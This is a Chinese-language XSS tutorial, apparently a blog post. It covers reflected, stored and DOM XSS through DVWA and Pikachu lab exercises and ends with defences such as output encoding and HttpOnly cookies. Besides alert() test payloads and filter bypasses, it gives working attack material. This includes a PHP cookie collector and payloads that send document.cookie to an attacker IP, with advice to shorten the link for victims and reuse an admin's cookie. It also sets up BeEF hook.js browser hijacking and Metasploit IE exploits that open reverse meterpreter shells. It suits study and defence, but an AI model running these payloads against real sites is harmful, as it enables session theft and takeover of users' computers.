XSS漏洞

  • XSS介绍

1.1 认识XSS

XSS ( cross-site script)跨站脚本自1996年诞生以来,一直被OWASP(open web application security project)评为十大安全漏洞中的第三威胁漏洞。也有黑客把xss当做新型的“缓冲区溢出攻击”,而JavaScript是新型的shellcode。

2011年6月份,国内最火的信息发布平台“新浪微博”爆发了xSs蠕虫攻击,仅持续16分钟,感染用户近33000个,危害十分严重。xss最大的特点就是能注入恶意的代码到用户浏览器的网页上,从而达到劫持用户会话的目的。

1.2 什么是XSS跨站脚本

是一种经常出现在web应用程序中的计算机安全漏洞,是由于web应用程序对用户的输入过滤不严而产生的。攻击者利用网站漏洞把恶意的脚本代码注入到网页中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采用cookie资料窃取,会话劫持,钓鱼欺骗等攻击手段。

1.3 XSS漏洞原理

攻击者在有漏洞的前端页面嵌入恶意代码,导致受害者访问页面时不知情的情况下触发恶意代码,获取受害者关键信息。

形成XSS漏洞的原因本质上还是对输入输出的过滤限制不严格,导致精心构造的脚本输入后,在前端被当做有效代码并执行。

举例:http://127.0.0.1/web/xss/xss1.php?

用firefox按F12进入html编辑器或者直接查看网页源代码

寻找输入点,在输入点输入特殊字符<>’’等,查看是否存在拦截,并且通过编辑器查看输入后存放的位置

发现没有过滤特殊字符后,就要考虑如何构造payload进行xss攻击了。开始分析漏洞页面,构建payload。

网页内容为输出后的显示,箭头部分是我们可控输入的部分<input type="text" value="123">

<input>是一个空元素,所以在元素内是无论如何不能写入内容的,所以我们先要把<input>闭合掉,然后再插入我们的xsspayload。

我们预想的弹窗语句:<input type="text" value=" "><script>alert('xss')</script>">

Input是一个完整的元素后面跟一个新的元素标签<script>,此时的<script>已经包含在正文的body内,成为可以执行的新元素,那么此时弹窗语句可以顺利执行。所以我们往回推,为保证输入过后能成为上面的语句,我们应该怎么做呢?如首先输入一个">将input元素闭合,其次将后面的<script>内容输入即可。

payload:"><script>alert('xss')</script>,我们尝试输入一下,成功弹窗。

1.4 XSS的危害

网络钓鱼,包括盗取各类的用户账号

窃取用户cookie

窃取用户浏览请回话

强制弹出广告页面、刷流量网页挂马

提升用户权限,进一步渗透网站

传播跨站脚本蠕虫等

1.5 XSS漏洞的挖掘

黑盒测试

尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:

URL的每一个参数

URL本身

表单

搜索框

常见业务场景:

重灾区:评论区、留言区、个人信息、订单信息等

针对型:站内信、网页即时通讯、私信、意见反馈

存在风险:搜索框、当前目录、图片属性等

二、XSS分类

XSS攻击类型可以分为三种:反射型、存储型、DOM型

2.1 反射型XSS

反射型XSS与服务端交互,但是交互的数据一般不会被存在数据库中,一次性,所见即所得,一般出现在查询类页面等。反射性XSS又称非持久型XSS,这种攻击方式往往具有一次性。

攻击方式:攻击者通过电子邮件等方式将包含xss代码的恶意链接发给目标用户。当目标用户访问该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析这段带有XSS代码的恶意脚本后,浏览器解析这段代码后就会触发xss攻击,完成攻击者想要的功能(获取cookies、url、浏览器信息、IP等等)。

2.1.1 反射型XSS攻击举例

在“输入”表单中输入内容,单击“提交”按钮后,将输入的内容放到“输出”表单中,例如当输入“12”,单击“提交按钮”,“12”将被输出到“输出”表单中。

当访问http://127.0.0.1/web/XSS/xss1.php?xss_input_value="><img src=1+οnerrοr=alert('xss')>

输出到页面的HTML代码变成了如下所示。可以看到,输入的双引号闭合了value属性的双引号,输入的>闭合了input的标签<,导致输入的<img src=1 οnerrοr=alert(‘xss’)>变成了HTML标签。

浏览器渲染时,执行了<img src=1 οnerrοr=alert(‘xss’)>,JS函数alert()导致浏览器弹窗。

(注:弹框实际上并不能造成什么危害,但这是我们用来测试xss漏洞点的一个方法。

<script>标签中可以执行javascript代码,所以理论上可以做任何事)

<img src=1 onerrror=alert(‘xss’)>

在线短网址生成:短网址生成_aad短网址

https://aad.tw/kp9c

2.1.2反射型XSS代码分析

在反射型XSS PHP代码中,通过GET获取参数xss_input_value的值,然后通过echo输出一个input标签,并将xss_input_value的值放入input标签的value中。当访问xss_input_value=“><img src=1 οnerrοr=alert(‘xss’)>时,输出到页面的HTML代码变为<input type=”text“ value=” “><img src=1 οnerrοr=alert(‘xss’)> ,此段HTML代码有两个标签,<input>标签和<img>标签,而<img>标签的作用就是让浏览器弹窗显示”xss”,代码如下:

2.2 储存型XSS

存储型XSS又称持久型XSS攻击脚本将被永久地存放在目标服务器的数据库或文件中,具有很高的隐蔽性。

攻击方式:这种攻击多见于论坛、博客和留言板,攻击者在发帖的过程中,将恶意脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被存放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意叫你本的帖子时,恶意脚本会在他们的浏览器中得到执行。

如下,恶意攻击者在留言板中加入以下代码:

<script>alert(“hello”)</script>

当其他用户访问留言版时,就会看到一个弹窗。可以看到,存储型XSS的攻击方式能够将恶意代码永久地嵌入一个页面中,所以访问这个页面的用户都将成为受害者。如果我们能够谨慎对待不明链接,那么反射型XSS攻击将没有多大作为,而存储型XSS则不同,由于它注入在一些我们信任的页面,因此无论我们多么小心,都难免会受到攻击。

2.2.1 存储型XSS攻击举例

储存型XSS页面实现的功能是:获取用户输入的留言信息,标题和内容,然后将标题和内容插入到数据库中,并将数据库的留言信息输出到页面上。

当输入标题为<img src=1 οnerrοr=alert(/xss/)>,然后将标题输出到页面时,页面执行了<img src=1 οnerrοr=alert(/xss/)>,导致弹窗。此时,这里的XSS就是持久性的,也就是说,任何人访问该URL时都会导致一个显示XSS的框

2.2.2 存储型XSS攻击代码分析

在存储型xss的PHP代码中,获取POST参数title和参数content,然后将参数插入数据表中,接下来通过select查询将表XSS中的数据查询出来,并显示到页面上。

当用户在标题出写入<img src=1 οnerrοr=alert(/xss/)>时,数据库中的数据如下:

当将title输出到页面时,页面执行了<img src=1 οnerrοr=alert(/xss/)>,导致弹窗。

2.3 DOM型XSS

2.3.1 DOM型XSS介绍

通过js代码操作前端的DOM节点(文档对象模型)时触发的XSS漏洞,一般不与后台服务器产生数据交互,属于中低危漏洞。

浏览器在解析html这种文档数据的时候,将文件数据当中的代码组织成一种文档型形式,这种文档就叫DOM文档。DOM全称Document Object Model,使用DOM可以使程序和脚本能够动态访问和更新文档的内容、结构及样式。

DOM型XSS是一种特殊类型的反射型XSS,它是基于DOM文档对象模型的一种漏洞。

HTML的标签都是节点,而这些节点组成了DOM的整体结构——节点树。通过HTML DOM,树中的所有结点均可通过JavaScript进行访问。所有HTML元素(节点)均可被修改,也可以创建或删除节点。HTML DOM树结构如下:

在网站页面中有许多元素,当页面到达浏览器时,浏览器会为页面创建一个项级的Document object文档对象,接着生成各个子文档对象,每个页面元素对应一个文档对象,每个文档对象包含属性、方法和事件。可以通过JS脚本对文档对象进行编辑,从而修改页面的元素。也就是说,客户端的脚本程序可以通过DOM动态修改页面内容,从客户端获取DOM中的数据并在本地执行。由于DOM是在客户端修改节点的,所以基于DOM型的XSS漏洞不需要与服务器端交互,它只发生在客户端处理数据的阶段

2.3.2 攻击方式

用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM对象就会处理XSS代码,导致存在XSS漏洞。

可能触发DOM型XSS的js操作如下:

document.referer

window . name属性

1ocation属性

innerHTML属性

documen.write属性

闭合标签:

' οnclick="alert('xss')"

' οnclick="alert('xss')">

'><img src="#" onmuouseover="alert('xss')">

2.3.3 DOM型XSS攻击举例

DOM型XSS攻击页面实现的功能是在”输入”框中输入信息,单击“替换”按钮时,页面会将”这里会显示输入的内容”替换为输入的信息,如输入aa,页面将“这里显示输入的内容”替换为aa。

测试地址: http://127.0.0.1/web/XSS/xss3.php

当输入<img src=1 οnerrοr=alert(/xss/)>时。单击替换,弹窗。

2.3.4 DOM型XSS攻击代码分析

从HTML源码中可以看到,存在JS函数tihuan(),该函数作用是通过DOM操作将元素id1(输出位置)的内容修改为元素dom_input(输入位置)的内容。

DOM型XSS程序只有HTML代码,并不存在服务器段代码,所以此程序并没有与服务器进行交互。

单击“替换”按钮时会执行JavaScript的tihuan()函数,而tihuan()函数是一个DOM操作,通过document.getElementById获取ID为id1的节点,然后将节点id1的内容修改成id为dom_input中的值,即用户输入的值。当输入<img src=1 οnerrοr=alert(‘xss’)>时,单击“替换”按钮,页面弹出消息框,但由于是隐式输出的,所以在查看源码时,看不到输出的XSS代码。

三、XSS常用的语句及绕过

3.1 XSS常用的测试语句:

<script>alert(1)</script>

<img src=x onerror=alert(1)>

<svg onload=alert(1)>

<a href=javascript:alert(1)>

onclick=alert(1);

3.2 常用的绕过

常见的XSS的绕过编码有JS编码、HTML实体编码和URL编码

3.2.1 JS编码

JS提供了四种字符编码的策略,如下所示:

三个八进制数字,如果个数不够,在前面补0,例如“e”的编码为“\145”。

两个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\x65”。

四个十六进制数字,如果个数不够,在前面补0,例如“e”的编码为“\u0065”。

对于一些控制字符,使用特殊的C类型的转义风格(例如\n和\r)。

3.2.2 HTML实体编码

命名实体:以&开头,以分号结尾如 “<”的编码是“<”。  

字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为“&#数值”。例如”<”可以编码为“<”和“<”。

3.2.3 URL编码

这里的URL编码,也是两次URL全编码的结果,如果alert被过滤,结果为

%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34

在使用XSS编码测试时,需要考虑HTML渲染的顺序,特别是针对多种编码组合时,要选择合适的编码方式进行测试。

  • XSS之DVWA练习实战

4.1 DVWA之Reflected XSS(反射型XSS)

4.1.1 Low级别

源代码:

可以看到,low级别的代码只是判断了name参数是否为空,如果不为空的话就直接打印出来,并没有对name参数做任何的过滤和检查,存在非常明显的XSS漏洞

我们输入 <script>alert('hack')</script> 直接就执行了我们的 js 代码

查看源代码可以看到,我们的js代码已经被插入到页面中了

4.1.2 Medium级别

源代码

<pre> </pre> 元素可定义预格式化的文本。被包围在pre元素中的文本通常会保留空格和换行符。而文本也会呈现为等宽字体。 

可以看到,medium级别的代码只是在low级别上增加了对于<scripit>的过滤,并没有什么用,我们可以直接大写绕过,我们输入  <SCRIPT>alert('hack')</SCRIPT>  ,直接就执行了我们的js代码。

查看源代码,可以看到,我们的代码虽然输入的时候是大写(躲过了过滤),但是最后输出的时候确是小写的。

4.1.3 High级别

源代码:

可以看到,high级别的代码使用了正则表达式直接把 <*s*c*r*i*p*t  给过滤了,* 代表一个或多个任意字符,i 代表不区分大小写。所以,我们的<script>标签在这里就不能用了。但是我们可以通过img、body等标签的事件或者iframe等标签的src注入恶意的js代码。

我们输入<img src=1 οnerrοr=alert('hack')>

上面输入的意思是,当图片显示错误时,然后执行 alert('hack') ,这里我们的src=1肯定显示错误啊,所以就执行alert语句。

4.1.3 impossible级别

源代码:

htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素

可以看出,impossible级别的代码先判断name是否为空,不为空的话然后验证其token,来防范CSRF攻击。然后再用htmlspecialchars函数将name中的预定义字符转换成html实体,这样就防止了我们填入标签

当我们输入 <script>alert('hack')</script> 时,因为 htmlspecialchars 函数会将 < 和 > 转换成html实体,并且${name}取的是$name的值,然后包围在<pre></pre>标签中被打印出来,所以我们插入的语句并不会被执行。

我们可以查看源代码,表单提交的过程中,把我们的user_token也一并提交了,来和服务器端的session_token做验证,防止CSRF攻击。我们输入的代码,直接被当成html文本给打印出来了,并不会被当成js脚本执行。

4.2 DVWA之Stored XSS(存储型XSS)

4.2.1 Low级别

源代码:

trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t 、 \n 、\x0B 、\r以及空格,可选参数charlist支持添加额外需要删除的字符

stripslashes(string): 去除掉string字符的反斜杠\

mysqli_real_escape_string(string,connection) :函数会对字符串string中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

$GLOBALS :引用全局作用域中可用的全部变量。$GLOBALS 这种全局变量用于在 PHP 脚本中的任意位置访问全局变量(从函数或方法中均可)。PHP 在名为 $GLOBALS[index] 的数组中存储了所有全局变量。变量的名字就是数组的键。

可以看出,low级别的代码对我们输入的message和name并没有进行XSS过滤,而且数据存储在数据库中,存在比较明显的存储型XSS漏洞

我们输入 aa 和 <script>alert('hack')</script> ,可以看到,我们的js代码立即就执行了

查看数据库,我们的代码被插入到了数据库进行存储。

查看源代码,可以看到,Message位置显示的是我们的js代码,因为这里显示的数据是调用数据库里的数据

4.2.2 Medium级别

源代码:

addslashes(string) :函数返回在预定义字符之前添加反斜杠的字符串,预定义字符 ' 、" 、\ 、NULL

strip_tags(string) :函数剥去string字符串中的 HTML、XML 以及 PHP 的标签

htmlspecialchars(string): 把预定义的字符 "<" (小于)、 ">" (大于)、& 、‘’、“” 转换为 HTML 实体,防止浏览器将其作为HTML元素

当我们再次输入1 和 <script>alert('hack')</script> ,strip_tags函数把<script>标签给剥除了,addslashes函数把 '  转义成了  \'

\

虽然 Message 参数把所有的XSS都给过滤了,但是name参数只是过滤了<script>标签而已,我们依然可以在name参数进行注入,可是发现name参数对长度有限制,最大长度是10。

所以我们想到了抓包,然后进行篡改,我们输入如下的,然后抓包

如下框中的数据就是 <script>al 经过URL编码后的数据

我们需要将其修改为 <SCRIPT>alert('hack')</SCRIPT> 经过URL编码后的数据

提交后,就可以看到弹出此框了,说明我们的js代码执行了

查看数据库,可以看到我们的代码插入进数据库了。

查看页面源代码,可以看到name位置插入了我们的js代码

4.2.3 High级别

源代码:

可以看到,high级别只是在medium级别上,name参数用了正则表达式进行过滤而已,我们仍然可以在name参数做手脚,抓包,然后改包,只不过这次改成 <img src=1  οnerrοr=alert('hack')>

我们输入如下的。

然后将<img src=1  οnerrοr=alert('hack')> 进行URL编码

可以看到,我们的js代码执行了

查看数据库,我们的代码被插入进数据库了

查看源代码,可以看到name位置插入了我们的img标签

4.2.4 impossible级别

源代码:

可以看到,这次impossible在high级别的基础上对name参数也进行了更严格的过滤,导致name参数也无法进行XSS攻击。而且使用了Anti-CSRF token防止CSRF攻击,完全杜绝了XSS漏洞和CSRF漏洞。

4.3 DVWA之DOM XSS(DOM型跨站脚本攻击)

4.3.1 Low级别

源代码:

从源代码可以看出,这里low级别的代码没有任何的保护性措施!

页面本意是叫我们选择默认的语言,但是对default参数没有进行任何的过滤

所以我们可以构造XSS代码,访问链接:

http://127.0.0.1/vulnerabilities/xss_d/?default=<script>alert('hack')</script>

可以看到,我们的script脚本成功执行了

我们查看源代码,可以看到,我们的脚本插入到代码中,所以执行了

4.3.2 Medium级别

源代码:

可以看到,medium级别的代码先检查了default参数是否为空,如果不为空则将default等于获取到的default值。这里还使用了stripos 用于检测default值中是否有 <script  ,如果有的话,则将 default=English 。

很明显,这里过滤了 <script>(不区分大小写),那么我们可以使用

<imgsrc=1 οnerrοr=('hack')>

但是当我们访问URL:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default=<img src=1 οnerrοr=alert('hack')>

此时并没有弹出任何页面

我们查看网页源代码,发现我们的语句被插入到了value值中,但是并没有插入到option标签的值中,所以img标签并没有发起任何作用。

所以我们得先闭合前面的标签,我们构造语句闭合option标签:

 <option value='     " + lang + "      '>  "  + decodeURI(lang) +  "  </option>

所以,我们构造该链接:

http://127.0.0.1/vulnerabilities/xss_d/?default=></option><img src=1 οnerrοr=alert('hack')>

但是我们的语句并没有执行,于是我们查看源代码,发现我们的语句中只有 > 被插入到了option标签的值中,因为</option>闭合了option标签,所以img标签并没有插入

于是我们继续构造语句去闭合select标签,这下我们的img标签就是独立的一条语句了

我们构造该链接:

http://127.0.0.1/dvwa/vulnerabilities/xss_d/?default= ></option></select><img src=1 οnerrοr=alert('hack')>

我们查看源代码,可以看到,我们的语句已经插入到页面中了

4.3.3 High级别
4.3.4 impossible级别

五、XSS盗取cookie实战

5.1 XSS常用的小工具

  1. Hackbar
  2. Firebug
  3. Tamper Data
  4. Live HTTP Headers
  5. Editor Cookie

5.2 盗取cookie实战

5.2.1 反射型XSS(GET)获取cookie

实验一:DVWA反射型XSS(GET)获取cookie

第一步:编写获取cookie的代码cookie.php,并放在一个web服务器上,代码内容如下所示:

<?php

           $cookie=$_GET['cookie'];

           file_put_contents('cookie.txt',$cookie);

?> 

设置文件的权限:

# ps -axu | grep apache                 #查看运行 apache 进程的用户名
# chown www-data:www-data web.php   #同时改变文件的所有者与属组
# touch cookie.txt                      #创建存 cookie 的文件
# chown www-data:www-data cookie.txt

第二步:重启apache服务器   systemctl restart apache2

第三步:使用普通用户构造如下URL,并发送给被攻击者

完整的 URL:

http://192.168.149.170/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://192.168.149.156/a.php?cookie='+ document.cookie</script>

但是通过这样访问,因为 url 中直接有“js 脚本”有时服务器会拒绝,不成功。所以我们需要对payload进行URL编码,如下所示:

http://192.168.149.170/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Edocument.location=%27http:%2f%2f192.168.149.156%2fa.php?cookie=%27%2b%20document.cookie%3C%2fscript%3E

将进行URL编码后的地址输入http://aad.tw/网站生成短地址,并发送给其他用户点击。

第四步:在kali中查看Cookie 信息
# cat /var/www/html/cookie.txt

第五步:如果是管理员点击了这个链接,我们就可以通获得的cookie提升权限。

打开burp抓包并修改cookie信息,如下所示:

实验二:Pikachu XSS平台搭建及后台使用(盗取cookie)

  1. XSS平台搭建及后台使用

访问:http://127.0.0.1/pikachu/pkxss/进行初始化。

将pikachu目录下的pkxss文件夹复制到攻击机上,并修改如下代码:

  1. 修改数据库连接

修改inc目录下的config.inc.php文件

<?php

//全局session_start

session_start(); //全局居设置时区

date_default_timezone_set('Asia/Shanghai');//全局设置默认字符

header('Content-type:text/html;charset=utf-8');//定义数据库连接参数

define('DBHOST', 'localhost');//将localhost修改为数据库服务器的地址

define('DBUSER', 'root');//将root修改为连接mysql的用户名

define('DBPW', '123456');//将root修改为连接mysql的密码

define('DBNAME', 'pkxss');//自定义,建议不修改

define('DBPORT', '3306');//将3306修改为mysql的连接端口,默认tcp3306

?>

(2)修改xcookie目录下的cookie.php文件(文件中的代码是用来获取用户的cookie)

<?php

include_once '../inc/config.inc.php';

include_once '../inc/mysql.inc.php';

$link=connect();

//这个是获取cookie的api页面

if(isset($_GET['cookie'])){

    $time=date('Y-m-d g:i:s');

    $ipaddress=getenv ('REMOTE_ADDR');

    $cookie=$_GET['cookie'];

    $referer=$_SERVER['HTTP_REFERER'];

    $useragent=$_SERVER['HTTP_USER_AGENT'];

    $query="insert cookies(time,ipaddress,cookie,referer,useragent)

    values('$time','$ipaddress','$cookie','$referer','$useragent')";

    $result=mysqli_query($link, $query);

}

header("Location:http://192.168.149.128/pikachu/index.php");//重定向到一个可信的网站

?>

(3)登录XSS平台

获取cookie的php文件是:http://192.168.149.128/pikachu/pkxss/xcookie/cookie.php

  1. 盗取cookie

测试URL:http://192.168.149.128/pikachu/vul/xss/xss_reflected_get.php

  1. 测试是否存在XSS漏洞

(2)构造盗取cookie的语句并点击提交

<script>document.location='http://192.168.149.128/pikachu/pkxss/xcookie/cookie.php?cookie='+ document.cookie</script>

(3)查看获取的cookie信息

由于这是个存储型XSS,所以Payload会存储在后台数据库,当其他用户只要访问到这个页面就会触发payload,cookie就会被盗。

5.2.2 反射型XSS(POST)获取cookie

POST请求方式的XSS攻击其实是比较难实现的,因为要构造一个网页html文件出来

POST攻击利用页面:/pikachu/pkxss/xcookie/post.html

构造的Payload页面:http://127.0.0.1/pikachu/pkxss/xcookie/post.html

首先要【以test用户(密码abc123)】登录到网站,找到存在XSS漏洞的页面,并根据页面创建一个html文件(已经存在:/pikachu/pkxss/xcookie/post.html)。根据网站页面对文件做如下修改:

<html>

<head>

<script>

window.onload = function() {   //当浏览器加载完页面所有的内容后自动触发执行

  document.getElementById("postsubmit").click();

}

</script>

</head>

<body>

<form method="post" action="http://192.168.149.128/pikachu/vul/xss/xsspost/xss_reflected_post.php">

    <input id="xssr_in" type="text" name="message" value=

    "<script>

document.location = 'http://192.168.149.128/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;

</script>"

 />

    <input id="postsubmit" type="submit" name="submit" value="submit" />

</form>

</body>

</html>

<!--

 *

<script>

document.write('<img src="http://127.0.0.1/antxss/xcookie/cookie.php?cookie='+document.cookie+'" width="0" height="0" border="0" />');

</script>

*/

/*

<script>

document.location = 'http://127.0.0.1/antxss/xcookie/cookie.php?cookie=' + document.cookie;

</script>

*/

-->

最后将这个页面的访问地址发给用户,一旦用户以管理员admin登录,并点击了这个页面,那么他的cookie就会被盗。如下图所示:

六、XSS-beef的使用实例

6.1 劫持客户端浏览器

第一步:安装并配置beef-xss

# apt-get install beef-xss     安装beef-xss

# systemctl start apache2    启动apache服务

# cd /usr/share/beef-xss    进入安装目录

#./beef                  启动beef-xss会提示更改默认用户名和密码

# vim /etc/beef-xss/config.yaml 在这个文件中修改用户名和密码

#./beef     启动beef-xss,此时会启动成功

在浏览器输入:http://192.168.149.156:3000/ui/panel

第二步:找到存在XSS漏洞的留言板,并输入以下留言,构造的payload如下:

<script src=http://192.168.149.156:3000/hook.js></script>

第三步:用户浏览留言中招

在beef-xss服务器上就可以看到浏览这个页面的浏览器就被控制了

beef-XSS使用四种颜色来标识功能的可用性。

绿色」:可以运行,且用户不会感觉出异常

橙色」:可以运行,但用户可能感到异常(弹窗等)

「灰色」:未验证,不确定是否可以使用

红色」:不可用

第四步:控制浏览器访问指定的网站

原理

beef-XSS有一个内置的 hook.js 文件,文件里是一些用来交互的JS代码。

我们提交payload的时候,其实就是把这个「Hook脚本」挂到了网页上。

挂上去以后,beef-XSS就可以通过「Hook脚本」,和网页进行交互。

我们提交的payload实际上就是在页面插入了一行js代码,代码的内容是一个链接,指向了beef-XSS的hook.js文件:

第五步:社工弹窗

目标“登录”后,信息就会提交到工具中,点击对应的记录就可查看提交的信息。

6.2 利用beef+msf拿用户shell(基于客户端ie6 )

第一步:启动beef-xss

第二步:配置msf

# msfconsole

msf6 > use exploit/windows/browser/ms10_002_aurora     浏览器极光漏洞

> set payload windows/meterpreter/reverse_tcp

msf6 exploit(windows/browser/ms10_002_aurora) > set srvhost 192.168.149.156

srvhost => 192.168.149.156

msf6 exploit(windows/browser/ms10_002_aurora) > set srvport 7777

srvport => 7777

msf6 exploit(windows/browser/ms10_002_aurora) > set uripath

uripath =>

msf6 exploit(windows/browser/ms10_002_aurora) > set lhost 192.168.149.156

lhost => 192.168.149.156

msf6 exploit(windows/browser/ms10_002_aurora) > set lport 4444

http://192.168.149.156:7777/QTzutFSfMackd

第三步:劫持用户浏览器

找到存在XSS漏洞的留言板,并输入以下留言,构造的payload如下:

<script src=http://192.168.149.156:3000/hook.js></script>

用户浏览留言后,在beef-xss服务器上就可看到浏览这个页面的浏览器就被控制了

第四步:劫持浏览器后,将链接发给客户端用户访问,客户端计算机就会被kali控制。

URL: http://192.168.149.156:7777/KFdwDzDz

第五步:在kali机查看访问这个页面的用户电脑是否被控制

6.3 利用beef+msf拿用户shell(基于客户端使用ie789 )

操作方法同上,只是利用的漏洞不一样,这里就不演示了,只是给出msf相关的配置:

msf6 > use exploit/windows/browser/ie_execcommand_uaf 

msf6 exploit(windows/browser/ie_execcommand_uaf) > set srvport 7777

srvport => 7777

msf6 exploit(windows/browser/ie_execcommand_uaf) > set uripath

uripath =>

msf6 exploit(windows/browser/ie_execcommand_uaf) > run

七、XSS的防御

XSS防御的总体思路是:对用户的输入(和URL参数)进行过滤,对输出进行html编码。也就是对用户提交的所有内容进行过滤,对url中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行html编码,使脚本无法在浏览器中执行。

对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的XSS攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝XSS攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。

对输出进行html编码,就是通过函数,将用户的输入的数据进行html编码,使其不能作为脚本运行。

如下,是使用php中的htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

#使用htmlspecialchars函数对用户输入的name参数进行html编码,将其转换为html实体

$name = htmlspecialchars( $_GET[ 'name' ] );

如下,图一是没有进行html编码的,图2是进行了html编码的。经过html编码后script标签被当成了html实体

我们还可以服务端设置会话Cookie的HTTP Only属性,这样,客户端的JS脚本就不能获取Cookie信息了

修复总结

因为XSS漏洞涉及输入和输出两部分,所以其修复也分两种

A:过滤输入的数据,包括” ‘ ”,” “ ”,”<”,”>” “on*”等非法字符。

B:对输出到页面的数据进行相应的编码转换,包括HTML实体编码、JavaScript编码等。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值